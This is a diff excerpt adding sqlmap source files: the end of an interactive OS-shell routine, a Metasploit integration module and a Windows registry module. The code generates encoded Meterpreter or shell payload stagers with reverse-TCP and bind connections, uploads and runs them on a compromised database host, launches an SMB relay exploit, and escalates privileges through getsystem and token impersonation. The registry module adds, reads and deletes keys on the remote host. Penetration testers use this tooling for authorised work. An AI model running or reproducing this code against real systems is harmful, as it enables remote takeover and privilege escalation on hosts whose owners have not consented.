+            if kb.dbms in ( "MySQL", "PostgreSQL" ):
+                infoMsg  = "going to use injected sys_eval and sys_exec "
+                infoMsg += "user-defined functions for operating system "
+                infoMsg += "command execution"
+                logger.info(infoMsg)
+
+            elif kb.dbms == "Microsoft SQL Server":
+                infoMsg  = "going to use xp_cmdshell extended procedure for "
+                infoMsg += "operating system command execution"
+                logger.info(infoMsg)
+
+            else:
+                errMsg = "feature not yet implemented for the back-end DBMS"
+                raise sqlmapUnsupportedFeatureException, errMsg
+
+            infoMsg  = "calling %s OS shell. To quit type " % kb.os or "Windows"
+            infoMsg += "'x' or 'q' and press ENTER"
+            logger.info(infoMsg)
+
+        autoCompletion(osShell=True)
+
+        while True:
+            command = None
+
+            try:
+                command = raw_input("os-shell> ")
+            except KeyboardInterrupt:
+                print
+                errMsg = "user aborted"
+                logger.error(errMsg)
+            except EOFError:
+                print
+                errMsg = "exit"
+                logger.error(errMsg)
+                break
+
+            if not command:
+                continue
+
+            if command.lower() in ( "x", "q", "exit", "quit" ):
+                break
+
+            self.runCmd(command)
+
+    def initEnv(self, mandatory=True, detailed=False, web=False):
+        if self.envInitialized:
+            return
+
+        if web:
+            self.webInit()
+        else:
+            self.checkDbmsOs(detailed)
+
+            if mandatory and not self.isDba():
+                warnMsg  = "the functionality requested might not work because "
+                warnMsg += "the session user is not a database administrator"
+                logger.warn(warnMsg)
+
+            if kb.dbms in ( "MySQL", "PostgreSQL" ):
+                self.udfInjectSys()
+            elif kb.dbms == "Microsoft SQL Server":
+                if mandatory:
+                    self.xpCmdshellInit()
+            else:
+                errMsg = "feature not yet implemented for the back-end DBMS"
+                raise sqlmapUnsupportedFeatureException(errMsg)
+
+        self.envInitialized = True

lib/takeover/metasploit.py

@@ -0,0 +1,698 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import os
+import re
+import stat
+import sys
+import time
+
+from select import select
+from subprocess import PIPE
+from subprocess import Popen as execute
+
+from lib.core.agent import agent
+from lib.core.common import dataToStdout
+from lib.core.common import getLocalIP
+from lib.core.common import getRemoteIP
+from lib.core.common import normalizePath
+from lib.core.common import pollProcess
+from lib.core.common import randomRange
+from lib.core.common import randomStr
+from lib.core.common import readInput
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.exception import sqlmapDataException
+from lib.core.exception import sqlmapFilePathException
+from lib.core.subprocessng import blockingReadFromFD
+from lib.core.subprocessng import blockingWriteToFD
+from lib.core.subprocessng import setNonBlocking
+from lib.request.connect import Connect as Request
+from lib.takeover.upx import upx
+
+
+class Metasploit:
+    """
+    This class defines methods to call Metasploit for plugins.
+    """
+
+    def __initVars(self):
+        self.connectionStr  = None
+        self.lhostStr       = None
+        self.rhostStr       = None
+        self.portStr        = None
+        self.payloadStr     = None
+        self.encoderStr     = None
+        self.payloadConnStr = None
+
+        self.resourceFile   = None
+
+        self.localIP        = getLocalIP()
+        self.remoteIP       = getRemoteIP()
+
+        self.__msfCli       = normalizePath(os.path.join(conf.msfPath, "msfcli"))
+        self.__msfConsole   = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
+        self.__msfEncode    = normalizePath(os.path.join(conf.msfPath, "msfencode"))
+        self.__msfPayload   = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
+
+        self.__msfPayloadsList    = {
+                                      "windows": {
+                                                   1: ( "Meterpreter (default)", "windows/meterpreter" ),
+                                                   2: ( "Shell", "windows/shell" ),
+                                                   3: ( "VNC", "windows/vncinject" ),
+                                                 },
+                                      "linux":   {
+                                                   1: ( "Shell", "linux/x86/shell" ),
+                                                 }
+                                    }
+
+        self.__msfConnectionsList = {
+                                      "windows": {
+                                                   1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
+                                                   2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
+                                                   3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
+                                                 },
+                                      "linux":   {
+                                                   1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
+                                                   2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
+                                                 }
+                                    }
+
+        self.__msfEncodersList    = {
+                                      "windows": {
+                                                   1: ( "No Encoder", "generic/none" ),
+                                                   2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
+                                                   3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ),
+                                                   4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ),
+                                                   5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ),
+                                                   6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ),
+                                                   7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ),
+                                                   8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ),
+                                                   9: ( "Non-Alpha Encoder", "x86/nonalpha" ),
+                                                  10: ( "Non-Upper Encoder", "x86/nonupper" ),
+                                                  11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ),
+                                                  12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ),
+                                                  13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ),
+                                                 }
+                                    }
+
+        self.__msfSMBPortsList    = {
+                                      "windows": {
+                                                   1: ( "139/TCP (default)", "139" ),
+                                                   2: ( "445/TCP", "445" ),
+                                                 }
+                                    }
+
+        self.__portData           = {
+                                      "bind":    "remote port number",
+                                      "reverse": "local port number",
+                                    }
+
+    def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
+        if kb.os == "Windows":
+            opSys = "windows"
+        else:
+            opSys = "linux"
+
+        message = "which %s do you want to use?" % msg
+
+        if lst:
+            for num, data in lst[opSys].items():
+                description = data[0]
+
+                if num > maxValue:
+                    maxValue = num
+
+                if "(default)" in description:
+                    default = num
+
+                message += "\n[%d] %s" % (num, description)
+        else:
+            message += " [%d] " % default
+
+        choice = readInput(message, default="%d" % default)
+
+        if not choice:
+            if lst:
+                choice = str(default)
+            else:
+                return default
+
+        elif not choice.isdigit():
+            logger.warn("invalid value, only digits are allowed")
+            return self.__skeletonSelection(msg, lst, maxValue, default)
+
+        elif int(choice) > maxValue or int(choice) < 1:
+            logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
+            return self.__skeletonSelection(msg, lst, maxValue, default)
+
+        choice = int(choice)
+
+        if lst:
+            choice = lst[opSys][choice][1]
+
+        return choice
+
+    def __selectSMBPort(self):
+        return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
+
+    def __selectEncoder(self, encode=True):
+        if isinstance(encode, str):
+            return encode
+
+        elif kb.os == "Windows" and encode:
+            return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
+
+    def __selectPayload(self):
+        if kb.os == "Windows" and conf.privEsc:
+            infoMsg  = "forcing Metasploit payload to Meterpreter because "
+            infoMsg += "it is the only payload that can be used to "
+            infoMsg += "escalate privileges, either via 'incognito' "
+            infoMsg += "extension or via 'getsystem' command"
+            logger.info(infoMsg)
+
+            __payloadStr = "windows/meterpreter"
+
+        else:
+            __payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList)
+
+        if __payloadStr == "windows/vncinject":
+            choose = False
+
+            if kb.dbms == "MySQL":
+                debugMsg  = "by default MySQL on Windows runs as SYSTEM "
+                debugMsg += "user, it is likely that the the VNC "
+                debugMsg += "injection will be successful"
+                logger.debug(debugMsg)
+
+            elif kb.dbms == "PostgreSQL":
+                choose = True
+
+                warnMsg  = "by default PostgreSQL on Windows runs as "
+                warnMsg += "postgres user, it is unlikely that the VNC "
+                warnMsg += "injection will be successful"
+                logger.warn(warnMsg)
+
+            elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
+                choose = True
+
+                warnMsg  = "it is unlikely that the VNC injection will be "
+                warnMsg += "successful because usually Microsoft SQL Server "
+                warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
+                warnMsg += "or the Administrator is not logged in"
+                logger.warn(warnMsg)
+
+            if choose:
+                message  = "what do you want to do?\n"
+                message += "[1] Give it a try anyway\n"
+                message += "[2] Fall back to Meterpreter payload (default)\n"
+                message += "[3] Fall back to Shell payload"
+
+                while True:
+                    choice = readInput(message, default="2")
+
+                    if not choice or choice == "2":
+                        __payloadStr = "windows/meterpreter"
+
+                        break
+
+                    elif choice == "3":
+                        __payloadStr = "windows/shell"
+
+                        break
+
+                    elif choice == "1":
+                        if kb.dbms == "PostgreSQL":
+                            logger.warn("beware that the VNC injection might not work")
+
+                            break
+
+                        elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
+                            break
+
+                    elif not choice.isdigit():
+                        logger.warn("invalid value, only digits are allowed")
+
+                    elif int(choice) < 1 or int(choice) > 2:
+                        logger.warn("invalid value, it must be 1 or 2")
+
+        return __payloadStr
+
+    def __selectPort(self):
+        for connType, connStr in self.__portData.items():
+            if self.connectionStr.startswith(connType):
+                return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
+
+    def __selectRhost(self):
+        if self.connectionStr.startswith("bind"):
+            message = "which is the back-end DBMS address? [%s] " % self.remoteIP
+            address = readInput(message, default=self.remoteIP)
+
+            if not address:
+                address = self.remoteIP
+
+            return address
+
+        elif self.connectionStr.startswith("reverse"):
+            return None
+
+        else:
+            raise sqlmapDataException, "unexpected connection type"
+
+    def __selectLhost(self):
+        if self.connectionStr.startswith("reverse") or self.resourceFile is not None:
+            message = "which is the local address? [%s] " % self.localIP
+            address = readInput(message, default=self.localIP)
+
+            if not address:
+                address = self.localIP
+
+            return address
+
+        elif self.connectionStr.startswith("bind"):
+            return None
+
+        else:
+            raise sqlmapDataException, "unexpected connection type"
+
+    def __selectConnection(self):
+        return self.__skeletonSelection("connection type", self.__msfConnectionsList)
+
+    def __prepareIngredients(self, encode=True):
+        self.connectionStr  = self.__selectConnection()
+        self.lhostStr       = self.__selectLhost()
+        self.rhostStr       = self.__selectRhost()
+        self.portStr        = self.__selectPort()
+        self.payloadStr     = self.__selectPayload()
+        self.encoderStr     = self.__selectEncoder(encode)
+
+        if self.payloadStr == "linux/x86/shell":
+            self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
+        else:
+            self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
+
+    def __forgeMsfCliCmd(self, exitfunc="process"):
+        self.__cliCmd  = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
+        self.__cliCmd += " EXITFUNC=%s" % exitfunc
+        self.__cliCmd += " LPORT=%s" % self.portStr
+
+        if self.payloadStr == "windows/vncinject":
+            self.__cliCmd += " DisableCourtesyShell=1"
+
+        if self.connectionStr.startswith("bind"):
+            self.__cliCmd += " RHOST=%s" % self.rhostStr
+
+        elif self.connectionStr.startswith("reverse"):
+            self.__cliCmd += " LHOST=%s" % self.lhostStr
+
+        else:
+            raise sqlmapDataException, "unexpected connection type"
+
+        self.__cliCmd += " E"
+
+    def __forgeMsfConsoleCmd(self):
+        self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
+
+    def __forgeMsfConsoleResource(self):
+        self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
+
+        self.__prepareIngredients(encode=False)
+
+        self.__resource  = "use windows/smb/smb_relay\n"
+        self.__resource += "set SRVHOST %s\n" % self.lhostStr
+        self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
+        self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
+        self.__resource += "set LPORT %s\n" % self.portStr
+
+        if self.connectionStr.startswith("bind"):
+            self.__resource += "set RHOST %s\n" % self.rhostStr
+
+        elif self.connectionStr.startswith("reverse"):
+            self.__resource += "set LHOST %s\n" % self.lhostStr
+
+        else:
+            raise sqlmapDataException, "unexpected connection type"
+
+        self.__resource += "exploit\n"
+
+        self.resourceFp = open(self.resourceFile, "w")
+        self.resourceFp.write(self.__resource)
+        self.resourceFp.close()
+
+    def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
+        self.__payloadCmd  = "%s %s" % (self.__msfPayload, self.payloadConnStr)
+        self.__payloadCmd += " EXITFUNC=%s" % exitfunc
+        self.__payloadCmd += " LPORT=%s" % self.portStr
+
+        if self.connectionStr.startswith("reverse"):
+            self.__payloadCmd += " LHOST=%s" % self.lhostStr
+
+        elif not self.connectionStr.startswith("bind"):
+            raise sqlmapDataException, "unexpected connection type"
+
+        if kb.os == "Windows" or extra == "BufferRegister=EAX":
+            self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
+
+            if extra is not None:
+                self.__payloadCmd += " %s" % extra
+        else:
+            self.__payloadCmd += " X > %s" % outFile
+
+    def __runMsfCli(self, exitfunc):
+        self.__forgeMsfCliCmd(exitfunc)
+
+        infoMsg  = "running Metasploit Framework 3 command line "
+        infoMsg += "interface locally, wait.."
+        logger.info(infoMsg)
+
+        logger.debug("executing local command: %s" % self.__cliCmd)
+        self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
+
+    def __runMsfConsole(self):
+        infoMsg = "running Metasploit Framework 3 console locally, wait.."
+        logger.info(infoMsg)
+
+        logger.debug("executing local command: %s" % self.__consoleCmd)
+        self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
+
+    def __runMsfShellcodeRemote(self):
+        infoMsg  = "running Metasploit Framework 3 shellcode "
+        infoMsg += "remotely via UDF 'sys_bineval', wait.."
+        logger.info(infoMsg)
+
+        self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
+
+    def __runMsfPayloadRemote(self):
+        infoMsg  = "running Metasploit Framework 3 payload stager "
+        infoMsg += "remotely, wait.."
+        logger.info(infoMsg)
+
+        if kb.os != "Windows":
+            self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True)
+
+        cmd = "%s &" % self.exeFilePathRemote
+
+        if kb.dbms == "Microsoft SQL Server" and kb.stackedTest:
+            cmd = self.xpCmdshellForgeCmd(cmd)
+
+        self.execCmd(cmd, silent=True)
+
+    def __loadMetExtensions(self, proc, metSess):
+        if kb.os != "Windows":
+            return
+
+        if self.resourceFile is not None:
+            proc.stdin.write("sessions -l\n")
+            proc.stdin.write("sessions -i %s\n" % metSess)
+
+        proc.stdin.write("use espia\n")
+        proc.stdin.write("use incognito\n")
+        proc.stdin.write("use priv\n")
+        proc.stdin.write("use sniffer\n")
+        proc.stdin.write("sysinfo\n")
+        proc.stdin.write("getuid\n")
+
+        if conf.privEsc:
+            print
+
+            infoMsg  = "trying to escalate privileges using Meterpreter "
+            infoMsg += "'getsystem' command which tries different "
+            infoMsg += "techniques, including kitrap0d"
+            logger.info(infoMsg)
+
+            proc.stdin.write("getsystem\n")
+
+            infoMsg  = "displaying the list of Access Tokens availables. "
+            infoMsg += "Choose which user you want to impersonate by "
+            infoMsg += "using incognito's command 'impersonate_token' if "
+            infoMsg += "'getsystem' does not success to elevate privileges"
+            logger.info(infoMsg)
+
+            proc.stdin.write("list_tokens -u\n")
+            proc.stdin.write("getuid\n")
+
+
+    def __controlMsfCmd(self, proc, func):
+        stdin_fd = sys.stdin.fileno()
+        setNonBlocking(stdin_fd)
+
+        proc_out_fd = proc.stdout.fileno()
+        setNonBlocking(proc_out_fd)
+
+        while True:
+            returncode = proc.poll()
+
+            if returncode is None:
+                # Child hasn't exited yet
+                pass
+            else:
+                logger.debug("connection closed properly")
+                return returncode
+
+            try:
+                ready_fds = select([stdin_fd, proc_out_fd], [], [], 1)
+
+                if stdin_fd in ready_fds[0]:
+                    try:
+                        proc.stdin.write(blockingReadFromFD(stdin_fd))
+                    except IOError:
+                        # Probably the child has exited
+                        pass
+
+                if proc_out_fd in ready_fds[0]:
+                    out = blockingReadFromFD(proc_out_fd)
+                    blockingWriteToFD(sys.stdout.fileno(), out)
+
+                    # For --os-pwn and --os-bof
+                    pwnBofCond  = self.connectionStr.startswith("reverse")
+                    pwnBofCond &= "Starting the payload handler" in out
+
+                    # For --os-smbrelay
+                    smbRelayCond = "Server started" in out
+
+                    if pwnBofCond or smbRelayCond:
+                        func()
+
+                    if "Starting the payload handler" in out and "shell" in self.payloadStr:
+                        if kb.os == "Windows":
+                            proc.stdin.write("whoami\n")
+                        else:
+                            proc.stdin.write("uname -a ; id\n")
+
+                    metSess = re.search("Meterpreter session ([\d]+) opened", out)
+
+                    if metSess:
+                        self.__loadMetExtensions(proc, metSess.group(1))
+
+            except EOFError:
+                returncode = proc.wait()
+
+                return returncode
+
+    def createMsfShellcode(self, exitfunc, format, extra, encode):
+        infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
+        logger.info(infoMsg)
+
+        self.__randStr           = randomStr(lowercase=True)
+        self.__shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
+
+        self.__initVars()
+        self.__prepareIngredients(encode=encode)
+        self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
+
+        logger.debug("executing local command: %s" % self.__payloadCmd)
+        process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
+
+        dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
+        pollProcess(process)
+        payloadStderr = process.communicate()[1]
+
+        if kb.os == "Windows" or extra == "BufferRegister=EAX":
+            payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
+        else:
+            payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
+
+        if payloadSize:
+            payloadSize = int(payloadSize.group(1))
+
+            if extra == "BufferRegister=EAX":
+                payloadSize = payloadSize / 2
+
+            debugMsg = "the shellcode size is %d bytes" % payloadSize
+            logger.debug(debugMsg)
+        else:
+            errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
+            raise sqlmapFilePathException, errMsg
+
+        self.__shellcodeFP   = open(self.__shellcodeFilePath, "rb")
+        self.shellcodeString = self.__shellcodeFP.read()
+        self.__shellcodeFP.close()
+
+        os.unlink(self.__shellcodeFilePath)
+
+    def createMsfPayloadStager(self, initialize=True):
+        if initialize:
+            infoMsg = ""
+        else:
+            infoMsg = "re"
+
+        infoMsg += "creating Metasploit Framework 3 payload stager"
+
+        logger.info(infoMsg)
+
+        self.__randStr = randomStr(lowercase=True)
+
+        if kb.os == "Windows":
+            self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s.exe" % self.__randStr)
+
+            # Metasploit developers added support for the old exe format
+            # to msfencode using '-t exe-small' (>= 3.3.3-dev),
+            # http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
+            # This is useful for sqlmap because on PostgreSQL it is not
+            # possible to write files bigger than 8192 bytes abusing the
+            # lo_export() feature implemented in sqlmap.
+            if kb.dbms == "PostgreSQL":
+                self.__fileFormat = "exe-small"
+            else:
+                self.__fileFormat = "exe"
+        else:
+            self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
+            self.__fileFormat     = "elf"
+
+        if initialize:
+            self.__initVars()
+
+        if self.payloadStr is None:
+            self.__prepareIngredients()
+
+        self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
+
+        logger.debug("executing local command: %s" % self.__payloadCmd)
+        process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
+
+        dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
+        pollProcess(process)
+        payloadStderr = process.communicate()[1]
+
+        if kb.os == "Windows":
+            payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
+        else:
+            payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
+
+        os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
+
+        if payloadSize:
+            payloadSize = payloadSize.group(1)
+            exeSize     = os.path.getsize(self.exeFilePathLocal)
+
+            # Only pack the payload stager if the back-end DBMS operating
+            # system is Windows and new portable executable template is
+            # used
+            if self.__fileFormat == "exe":
+                packedSize = upx.pack(self.exeFilePathLocal)
+            else:
+                packedSize = None
+
+            debugMsg    = "the encoded payload size is %s bytes, " % payloadSize
+
+            if packedSize and packedSize < exeSize:
+                debugMsg += "as a compressed portable executable its size "
+                debugMsg += "is %d bytes, decompressed it " % packedSize
+                debugMsg += "was %s bytes large" % exeSize
+            else:
+                debugMsg += "as a portable executable its size is "
+                debugMsg += "%s bytes" % exeSize
+
+            logger.debug(debugMsg)
+        else:
+            errMsg = "failed to create the payload stager (%s)" % payloadStderr
+            raise sqlmapFilePathException, errMsg
+
+    def uploadMsfPayloadStager(self, web=False):
+        if web:
+            self.exeFilePathRemote = "%s/%s" % (self.webDirectory, os.path.basename(self.exeFilePathLocal))
+        else:
+            self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
+
+        self.exeFilePathRemote = normalizePath(self.exeFilePathRemote)
+
+        logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote)
+
+        if web:
+            self.webFileUpload(self.exeFilePathLocal, self.exeFilePathRemote, self.webDirectory)
+        else:
+            self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
+
+        os.unlink(self.exeFilePathLocal)
+
+    def pwn(self, goUdf=False):
+        if goUdf:
+            exitfunc = "thread"
+            func     = self.__runMsfShellcodeRemote
+        else:
+            exitfunc = "process"
+            func     = self.__runMsfPayloadRemote
+
+        self.__runMsfCli(exitfunc=exitfunc)
+
+        if self.connectionStr.startswith("bind"):
+            func()
+
+        debugMsg  = "Metasploit Framework 3 command line interface exited "
+        debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
+        logger.debug(debugMsg)
+
+        if not goUdf:
+            self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
+
+    def smb(self):
+        self.__initVars()
+        self.__randFile = "tmpu%s.txt" % randomStr(lowercase=True)
+
+        self.__forgeMsfConsoleResource()
+        self.__forgeMsfConsoleCmd()
+
+        if kb.dbms in ( "MySQL", "PostgreSQL" ):
+            self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
+        else:
+            self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
+
+        self.__runMsfConsole()
+
+        debugMsg  = "Metasploit Framework 3 console exited with return "
+        debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest)
+        logger.debug(debugMsg)
+
+        os.unlink(self.resourceFile)
+
+    def bof(self):
+        self.__runMsfCli(exitfunc="seh")
+
+        if self.connectionStr.startswith("bind"):
+            self.spHeapOverflow()
+
+        debugMsg  = "Metasploit Framework 3 command line interface exited "
+        debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow)
+        logger.debug(debugMsg)

lib/takeover/registry.py

@@ -0,0 +1,134 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import os
+
+from lib.core.common import randomStr
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+
+class Registry:
+    """
+    This class defines methods to read and write Windows registry keys
+    """
+
+    def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
+        self.__regKey        = regKey
+        self.__regValue      = regValue
+        self.__regType       = regType
+        self.__regData       = regData
+
+        self.__randStr       = randomStr(lowercase=True)
+        self.__batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self.__randStr)
+        self.__batPathLocal  = os.path.join(conf.outputPath, "tmpr%s.bat" % self.__randStr)
+
+        if parse:
+            readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
+        else:
+            readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
+
+        self.__batRead = (
+                           "@ECHO OFF\r\n",
+                           readParse
+                         )
+
+        self.__batAdd  = (
+                           "@ECHO OFF\r\n",
+                           "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
+                         )
+
+        self.__batDel  = (
+                           "@ECHO OFF\r\n",
+                           "REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
+                         )
+
+    def __createLocalBatchFile(self):
+        self.__batPathFp = open(self.__batPathLocal, "w")
+
+        if self.__operation == "read":
+            lines = self.__batRead
+        elif self.__operation == "add":
+            lines = self.__batAdd
+        elif self.__operation == "delete":
+            lines = self.__batDel
+
+        for line in lines:
+            self.__batPathFp.write(line)
+
+        self.__batPathFp.close()
+
+    def __createRemoteBatchFile(self):
+        logger.debug("creating batch file '%s'" % self.__batPathRemote)
+
+        self.__createLocalBatchFile()
+        self.writeFile(self.__batPathLocal, self.__batPathRemote, "text", False)
+
+        os.unlink(self.__batPathLocal)
+
+    def readRegKey(self, regKey, regValue, parse=False):
+        self.__operation = "read"
+
+        self.__initVars(regKey, regValue, parse=parse)
+        self.__createRemoteBatchFile()
+
+        logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
+
+        data = self.evalCmd(self.__batPathRemote)
+        
+        if data and not parse:
+            pattern = '    '
+            index = data.find(pattern)
+            if index != -1:
+                data = data[index + len(pattern):]
+
+        self.delRemoteFile(self.__batPathRemote, doubleslash=True)
+
+        return data
+
+    def addRegKey(self, regKey, regValue, regType, regData):
+        self.__operation = "add"
+
+        self.__initVars(regKey, regValue, regType, regData)
+        self.__createRemoteBatchFile()
+
+        debugMsg  = "adding registry key value '%s' " % self.__regValue
+        debugMsg += "to registry key '%s'" % self.__regKey
+        logger.debug(debugMsg)
+
+        self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
+        self.delRemoteFile(self.__batPathRemote, doubleslash=True)
+
+    def delRegKey(self, regKey, regValue):
+        self.__operation = "delete"
+
+        self.__initVars(regKey, regValue)
+        self.__createRemoteBatchFile()
+
+        debugMsg  = "deleting registry key value '%s' " % self.__regValue
+        debugMsg += "from registry key '%s'" % self.__regKey
+        logger.debug(debugMsg)
+
+        self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
+        self.delRemoteFile(self.__batPathRemote, doubleslash=True)